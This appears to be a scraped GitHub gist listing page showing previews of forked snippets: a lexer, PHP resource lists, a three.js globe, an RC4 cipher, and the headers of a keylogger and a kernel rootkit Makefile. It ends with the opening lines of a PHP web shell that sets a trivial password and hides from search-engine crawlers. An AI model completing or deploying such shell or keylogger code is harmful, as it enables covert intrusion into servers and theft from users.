Skip to content

Instantly share code, notes, and snippets.

@m0n0ph1
m0n0ph1 / lexer.py
Created December 1, 2024 15:05 — forked from markshannon/lexer.py
import re
import sys
import collections
def choice(*opts):
return "|".join("(%s)" % opt for opt in opts)
# Regexes
@m0n0ph1
m0n0ph1 / awesm.md
Created June 26, 2023 00:15 — forked from matula/awesm.md
Awesome PHP stuff in one Gist
@m0n0ph1
m0n0ph1 / awesome-php.md
Created June 26, 2023 00:14 — forked from llbbl/awesome-php.md
Awesome PHP Libraries and Resources

Awesome PHP

A list of amazingly awesome PHP libraries, resources and shiny things.

Categories

  • Composer
  • Composer Related
  • Frameworks
  • Micro Frameworks
@m0n0ph1
m0n0ph1 / earth.html
Created May 12, 2018 07:21 — forked from bellbind/earth.html
[threejs][html5] Put current location on sphere with geolocation API
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<script
src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r68/three.min.js"
></script>
<script
src="https://rawgit.com/mrdoob/three.js/master/examples/js/controls/TrackballControls.js"
></script>
@m0n0ph1
m0n0ph1 / sclg4.c
Created December 11, 2016 02:08 — forked from aktau/sclg4.c
A simple WinAPI GetAsyncKeyState()-based keylogger, written a very long time ago. I dug it out of the archives because of a Hacker News post (https://news.ycombinator.com/item?id=7607082). For educational purposes only, of course.
/**
* Copyright (c) 2006, Nicolas Hillegeer
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
@m0n0ph1
m0n0ph1 / Makefile
Last active August 29, 2015 14:09 — forked from jvns/Makefile
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@m0n0ph1
m0n0ph1 / rc4.js
Last active August 29, 2015 14:08 — forked from farhadi/rc4.js
/*
* RC4 symmetric cipher encryption/decryption
*
* @license Public Domain
* @param string key - secret key for encryption/decryption
* @param string str - string to be encrypted/decrypted
* @return string
*/
function rc4(key, str) {
var s = [], j = 0, x, res = '';
<?php # Web Shell by oRb
$auth_pass = md5("1");
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {